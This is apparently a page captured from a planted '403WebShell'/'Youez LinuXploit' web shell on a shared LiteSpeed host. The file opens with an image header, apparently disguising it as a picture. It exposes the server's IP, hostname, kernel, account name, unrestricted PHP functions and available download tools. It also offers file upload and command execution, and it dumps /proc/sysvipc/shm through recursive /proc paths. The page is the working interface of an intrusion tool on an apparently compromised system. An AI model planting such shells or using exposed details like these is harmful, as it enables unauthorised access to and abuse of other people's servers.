????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.30.238  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /././proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /././proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0    3014656  1600                 43456 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028334                  8192                 36864
         0    3014657  1600                 65160 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028336                 12288                 53248
         0    3014658  1600                 86856 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028338                  8192                 81920
      5555          3   644                  1024  3683 1827139      0     0     0     0     0 1761670857 1761670857 1749147219                  4096                     0
         0    3014660  1600                108560 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028340                 16384                 94208
         0    3014661  1600                130312 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028342                  4096                126976
         0    3014662  1600                152008 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028344                 24576                131072
         0    3014663  1600                173712 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028346                 28672                147456
         0    3014664  1600                195408 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028348                 28672                167936
         0    3014665  1600                217112 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028350                 20480                200704
         0    3014666  1600                238816 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028353                 98304                143360
         0    3014667  1600                260544 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028355                208896                 53248
         0    3014668  1600                282240 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028357                221184                 61440
         0    3014669  1600                303944 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028359                245760                 61440
         0    3014670  1600                325632 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028361                253952                 73728
         0    3014671  1600                347328 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028363                270336                 77824
         0    3014672  1600                369016 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028365                315392                 57344
         0    3014673  1600                390704 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028367                303104                 90112
         0    3014674  1600                412400 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028369                331776                 81920
         0    3014675  1600                434096 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028371                348160                 86016
   5432001    2588692   600                    56 3962673 2742398      6    26    26    26    26 1761682220 1761682220 1760077998                     0                  4096
         0    3014677  1600                455784 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028373                376832                 81920
         0    3014678  1600                477472 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028375                376832                102400
         0    3014679  1600                499168 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028378                405504                 94208
         0    3014680  1600                520856 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028380                417792                106496
         0    3014681  1600                542544 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028382                430080                114688
         0    3014682  1600                564240 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028384                466944                 98304
         0    3014683  1600                585936 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028386                475136                114688
         0    3014684  1600                607632 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028388                487424                122880
         0    3014685  1600                629336 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028390                499712                131072
         0    3014686  1600                651040 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028392                520192                131072
         0    3014687  1600                672744 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028394                532480                143360
         0    3014688  1600                694432 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028396                552960                143360
         0    3014689  1600                716128 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028398                557056                159744
         0    3014690  1600                737816 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028404                589824                151552
         0    3014691   600                759512 390597 2742358      2   475   468   475   468 1761682220 1761682220 1761028407                761856                     0
         0    3244070  1400                116684 1804636 1629248      2   484   479     0     0 1761675250          0 1761675250                118784                     0
         0    2981949  1600                   576 390592 2742358      6   475   468   475   468 1761682220 1761682220 1761028329                  4096                     0
         0    2981950  1600               1825056 390592 2742358      6   475   468   475   468 1761682220 1761682220 1761028329               1826816                     0
         0    2981951  1600                 21744 390597 2742358      1   475   468   475   468 1761682220 1761682220 1761028332                  4096                 20480

Youez - 2016 - github.com/yon3zu
LinuXploit